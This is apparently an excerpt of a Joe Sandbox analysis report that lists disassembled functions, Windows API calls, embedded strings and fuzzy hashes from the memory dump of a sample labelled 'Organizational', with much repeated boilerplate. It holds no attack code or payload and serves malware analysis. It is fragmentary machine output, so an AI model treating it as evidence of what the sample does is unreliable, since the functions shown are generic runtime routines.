Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: c0305eea5462012666add0dbb30bbd19a6e9a7a19c90c4e398adc460354a098b
Instruction ID: 6e6034daba597b14dedeb3506c31298bb016daef8959c87a69636ebe8bca8daa
Opcode Fuzzy Hash: c0305eea5462012666add0dbb30bbd19a6e9a7a19c90c4e398adc460354a098b
Instruction Fuzzy Hash: 1681837140820A9BDB14DF14C8C5FAA7BE8FF84324F048569FE899A097DB34DD49EB61

Function 00F4B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00F4B915

Strings

[REGEXPTITLE:, xrefs: 00F4B93D
REGEXP=, xrefs: 00F4B92A
ACTIVE, xrefs: 00F4B8F0
CLASSNAME=, xrefs: 00F4B952
[HANDLE:, xrefs: 00F4B921
[ACTIVE, xrefs: 00F4B902
HANDLE=, xrefs: 00F4B90E
[ALL, xrefs: 00F4B9BB
[LAST, xrefs: 00F4B9C2
LAST, xrefs: 00F4B8DA
ALL, xrefs: 00F4B9A9
[CLASS:, xrefs: 00F4B965

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 77acab2416c5f812480e6e161c953b439b3c20e659809a483e0fa026f0c9f1b3
Instruction ID: 950855e249eb5d1e56f243f409a3dc4d448a8a684f7a26b2fcdbd49db421c665
Opcode Fuzzy Hash: 77acab2416c5f812480e6e161c953b439b3c20e659809a483e0fa026f0c9f1b3
Instruction Fuzzy Hash: 3731C471A44205A6DB14EB60CD43EFE7BB4AF21760F600129F941B11D2EF59EE08FA53

Function 00F4CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00F4CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00F4CBBC
SetWindowTextW.USER32(?,?), ref: 00F4CBD3
GetDlgItem.USER32(?,000003EA), ref: 00F4CBE8
SetWindowTextW.USER32(00000000,?), ref: 00F4CBEE
GetDlgItem.USER32(?,000003E9), ref: 00F4CBFE
SetWindowTextW.USER32(00000000,?), ref: 00F4CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00F4CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00F4CC3F
GetWindowRect.USER32(?,?), ref: 00F4CC48
SetWindowTextW.USER32(?,?), ref: 00F4CCB3
GetDesktopWindow.USER32 ref: 00F4CCB9
GetWindowRect.USER32(00000000), ref: 00F4CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00F4CD0C
GetClientRect.USER32(?,?), ref: 00F4CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00F4CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00F4CD69

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 8bf93dc88e3da8fcf40c9dd3f104511141cc46348d2bc29075d9dc40e2fbfa0e
Instruction ID: 3923f8ae788e262ba4161249c4166e0e2845cad8b7d81d5fbec6e058e4134541
Opcode Fuzzy Hash: 8bf93dc88e3da8fcf40c9dd3f104511141cc46348d2bc29075d9dc40e2fbfa0e
Instruction Fuzzy Hash: 32518F31900709EFDB60DFA8CE89BAEBBF5FF44705F004518E646A25A0DB74A914EF50

Function 00F7A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F7A87E
DestroyWindow.USER32(00000000,?), ref: 00F7A8F8

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00F7A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00F7A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F7A9A7
DestroyWindow.USER32(00000000), ref: 00F7A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00EF0000,00000000), ref: 00F7AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F7AA19
GetDesktopWindow.USER32 ref: 00F7AA32
GetWindowRect.USER32(00000000), ref: 00F7AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00F7AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00F7AA69

Part of subcall function 00EF29AB: GetWindowLongW.USER32(?,000000EB), ref: 00EF29BC

Strings

0, xrefs: 00F7A894
tooltips_class32, xrefs: 00F7A96B, 00F7A9F9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 2dd8aee696d102e85698c8bb35b5f29ab3f5da2c41da18bafdba922ec100c19a
Instruction ID: e02aee24be4875e958c92c4917d8df4f9a73b849665d02703846a77c3b04e087
Opcode Fuzzy Hash: 2dd8aee696d102e85698c8bb35b5f29ab3f5da2c41da18bafdba922ec100c19a
Instruction Fuzzy Hash: 6E71AB71540204AFE721DF28CC48FAA77E5EBC8310F55861EF989872A0DB34E915EB52

Function 00F7CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

DragQueryPoint.SHELL32(?,?), ref: 00F7CCCF

Part of subcall function 00F7B1A9: ClientToScreen.USER32(?,?), ref: 00F7B1D2
Part of subcall function 00F7B1A9: GetWindowRect.USER32(?,?), ref: 00F7B248
Part of subcall function 00F7B1A9: PtInRect.USER32(?,?,00F7C6BC), ref: 00F7B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00F7CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00F7CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00F7CD66
_wcscat.LIBCMT ref: 00F7CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00F7CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00F7CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00F7CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00F7CDFF
DragFinish.SHELL32(?), ref: 00F7CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00F7CEF9

Strings

@GUI_DROPID, xrefs: 00F7CE26
@GUI_DRAGID, xrefs: 00F7CE71
@GUI_DRAGFILE, xrefs: 00F7CEA8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: c64e913b4d5fad3983e2bf023c211997abdc4a1f96e35c97ea086d2baa52d505
Instruction ID: 0772558ae5f9c1d2824cd51ba230cd3bc74eb56680d66b5356ebfc2c78e0c6f8
Opcode Fuzzy Hash: c64e913b4d5fad3983e2bf023c211997abdc4a1f96e35c97ea086d2baa52d505
Instruction Fuzzy Hash: C7617A71508304AFC711EF60DC85DABBBE8FFC9350F004A1EF695921A1DB709A09EB92

Function 00F582D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00F5831A
VariantCopy.OLEAUT32(00000000,?), ref: 00F58323
VariantClear.OLEAUT32(00000000), ref: 00F5832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00F5841D
__swprintf.LIBCMT ref: 00F5844D
VarR8FromDec.OLEAUT32(?,?), ref: 00F58479
VariantInit.OLEAUT32(?), ref: 00F5852A
SysFreeString.OLEAUT32(?), ref: 00F585BE
VariantClear.OLEAUT32(?), ref: 00F58618
VariantClear.OLEAUT32(?), ref: 00F58627
VariantInit.OLEAUT32(00000000), ref: 00F58665

Strings

Default, xrefs: 00F584DA
%4d%02d%02d%02d%02d%02d, xrefs: 00F58447

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: cadac8eaca90b2fe5d30c537e971c0c13e232d22d1e23720beb0dd781fe70864
Instruction ID: 7dc9d39b17e3eb1352c5c185f4099463948b545c13691f9bdab619522ceefcef
Opcode Fuzzy Hash: cadac8eaca90b2fe5d30c537e971c0c13e232d22d1e23720beb0dd781fe70864
Instruction Fuzzy Hash: E8D1DF72A04519DBDB109F61C885BAEB7B4BF04792F148155EA05FB290DF34EC4AFB90

Function 00F749CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F74A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F74AAC

Strings

EXISTS, xrefs: 00F74B15
GETSELECTED, xrefs: 00F74BBC
CHECK, xrefs: 00F74ACC
GETITEMCOUNT, xrefs: 00F74B8E
EXPAND, xrefs: 00F74B5E
ISCHECKED, xrefs: 00F74C2F
COLLAPSE, xrefs: 00F74AF2
GETTEXT, xrefs: 00F74BFF
GETTOTALCOUNT, xrefs: 00F74A93
SELECT, xrefs: 00F74C5D
UNCHECK, xrefs: 00F74C88

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 45d7a976ad3541510216cae60b6d03c13410e2b0d56a995328aac82b3fe8683f
Instruction ID: 9cefa641287b0eb0b46cfd94622d4cdb4f8f4f697f0e1d998170f75c9330e25f
Opcode Fuzzy Hash: 45d7a976ad3541510216cae60b6d03c13410e2b0d56a995328aac82b3fe8683f
Instruction Fuzzy Hash: 9C919E712047119BCB04EF20C851A7AB7E1BF94354F108859F99A6B3A2DF35FD49EB82

Function 00F5E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00F5E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00F5E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F5E33B
__wsplitpath.LIBCMT ref: 00F5E399
_wcscat.LIBCMT ref: 00F5E3B1
_wcscat.LIBCMT ref: 00F5E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F5E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00F5E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00F5E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00F5E43F
_wcscpy.LIBCMT ref: 00F5E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00F5E48A

Strings

*.*, xrefs: 00F5E445

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: bb3a356f84b960eabdce464f0d421a134f905ac78cc0a8c57953c2d04d818202
Instruction ID: 20ba98230dfc227a17e606d602554e4f66240c2201ae5079005e01ea5e7b5f79
Opcode Fuzzy Hash: bb3a356f84b960eabdce464f0d421a134f905ac78cc0a8c57953c2d04d818202
Instruction Fuzzy Hash: 69616B765043059FC714EF60C844AAFB3E8FF89320F04891EFA8997251DB35EA49DB92

Function 00F5A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00F5A2C2

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00F5A2E3
__swprintf.LIBCMT ref: 00F5A33C
__swprintf.LIBCMT ref: 00F5A355
_wprintf.LIBCMT ref: 00F5A3FC
_wprintf.LIBCMT ref: 00F5A41A

Strings

Incorrect parameters to object property !, xrefs: 00F5A39E
Line %d (File "%s"):, xrefs: 00F5A336, 00F5A34F
^ ERROR , xrefs: 00F5A391
"%s" (%d) : ==> %s:%s%s, xrefs: 00F5A3F7
"%s" (%d) : ==> %s:, xrefs: 00F5A415
Error: , xrefs: 00F5A3C4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 279b85f47bacdc1876510d6804709c7896cf7367212a8a69dd3035edc2a7bcad
Instruction ID: 0d556dc0306b0a4415e6975d211c89b3e98ce1746006b23f60048e05f844e248
Opcode Fuzzy Hash: 279b85f47bacdc1876510d6804709c7896cf7367212a8a69dd3035edc2a7bcad
Instruction Fuzzy Hash: BD518F72900219AADF15EBE0CD86EEEB779BF04341F104255F505B20A2EB396F58FB61

Function 00F50065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00F3F8B8,00000001,0000138C,00000001,00000000,00000001,?,00F63FF9,00000000), ref: 00F5009A
LoadStringW.USER32(00000000,?,00F3F8B8,00000001), ref: 00F500A3

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

GetModuleHandleW.KERNEL32(00000000,00FB7310,?,00000FFF,?,?,00F3F8B8,00000001,0000138C,00000001,00000000,00000001,?,00F63FF9,00000000,00000001), ref: 00F500C5
LoadStringW.USER32(00000000,?,00F3F8B8,00000001), ref: 00F500C8
__swprintf.LIBCMT ref: 00F50118
__swprintf.LIBCMT ref: 00F50129
_wprintf.LIBCMT ref: 00F501D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F501E9

Strings

Line %d (File "%s"):, xrefs: 00F50112
%s (%d) : ==> %s: %s %s, xrefs: 00F501CD
^ ERROR, xrefs: 00F5017E
Error: , xrefs: 00F501A0
Line %d:, xrefs: 00F50123

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: d763d5a3a53adca987ff26efc771d007063779cd483abf8e340badc95e628af1
Instruction ID: 2f37241059fed2c92ea1492e32684e62260ab7cb9cee04c83a2f6c2f3ad3e561
Opcode Fuzzy Hash: d763d5a3a53adca987ff26efc771d007063779cd483abf8e340badc95e628af1
Instruction Fuzzy Hash: 67416C72800119AACB15EBE0CD96EEEB778BF14341F500165F601B2092EF38AF49FB61

Function 00F5A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

CharLowerBuffW.USER32(?,?), ref: 00F5AA0E
GetDriveTypeW.KERNEL32 ref: 00F5AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F5AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F5AADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F5AB08

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Strings

type cdaudio alias cd wait, xrefs: 00F5AA86
open , xrefs: 00F5AA6A
close cd wait, xrefs: 00F5AAF3
closed, xrefs: 00F5AA22, 00F5AA2B
set cd door , xrefs: 00F5AAA9
close, xrefs: 00F5AA14
open, xrefs: 00F5AA35
wait, xrefs: 00F5AAC5

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: de9ec0d4fc90db615bee0bb5910fbe5e7080f98024c7ef0a2bc9cfd4a962c165
Instruction ID: 9c7232733bb2694133e39570cb30069767609cc622c809c2176ba779834cd0b4
Opcode Fuzzy Hash: de9ec0d4fc90db615bee0bb5910fbe5e7080f98024c7ef0a2bc9cfd4a962c165
Instruction Fuzzy Hash: 31516DB1504305AFC700EF10C88196AB7F4FF98758F10895DF895572A2DB35EE09EB92

Function 00F5A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F5A852
__swprintf.LIBCMT ref: 00F5A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F5A8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00F5A8D6
_memset.LIBCMT ref: 00F5A8F5
_wcsncpy.LIBCMT ref: 00F5A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00F5A966
CloseHandle.KERNEL32(00000000), ref: 00F5A971
RemoveDirectoryW.KERNEL32(?), ref: 00F5A97A
CloseHandle.KERNEL32(00000000), ref: 00F5A984

Strings

:, xrefs: 00F5A895
\??\%s, xrefs: 00F5A86E
\, xrefs: 00F5A88A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: cb7303b3eedac31089dfd3dba58c70fe9bc5dd78bc9726cc989f9b5ad98fa84a
Instruction ID: 4a41a61eae46623906beba6a3b5416527c0563ef89787bce7db8bc53157176a8
Opcode Fuzzy Hash: cb7303b3eedac31089dfd3dba58c70fe9bc5dd78bc9726cc989f9b5ad98fa84a
Instruction Fuzzy Hash: C531D87190011AABDB20DFA0DC48FFB737CEF89711F5041B5FA08D2150EB7496999B25

Function 00F7C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00F7982C,?,?), ref: 00F7C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C0F7
GlobalLock.KERNEL32(00000000), ref: 00F7C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C10F
GlobalUnlock.KERNEL32(00000000), ref: 00F7C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00F7982C,?,?,00000000,?), ref: 00F7C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00F83C7C,?), ref: 00F7C149
GlobalFree.KERNEL32(00000000), ref: 00F7C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00F7C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00F7C1A8
DeleteObject.GDI32(00000000), ref: 00F7C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00F7C1E6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: b40346ed1d30c8f73362cf9fd62993d59e5524c718ce0145ef89e1954e82d03f
Instruction ID: 741e27b415bea882c722aa9e036d178b5d105ad3cd785055a250629dbdf39ab9
Opcode Fuzzy Hash: b40346ed1d30c8f73362cf9fd62993d59e5524c718ce0145ef89e1954e82d03f
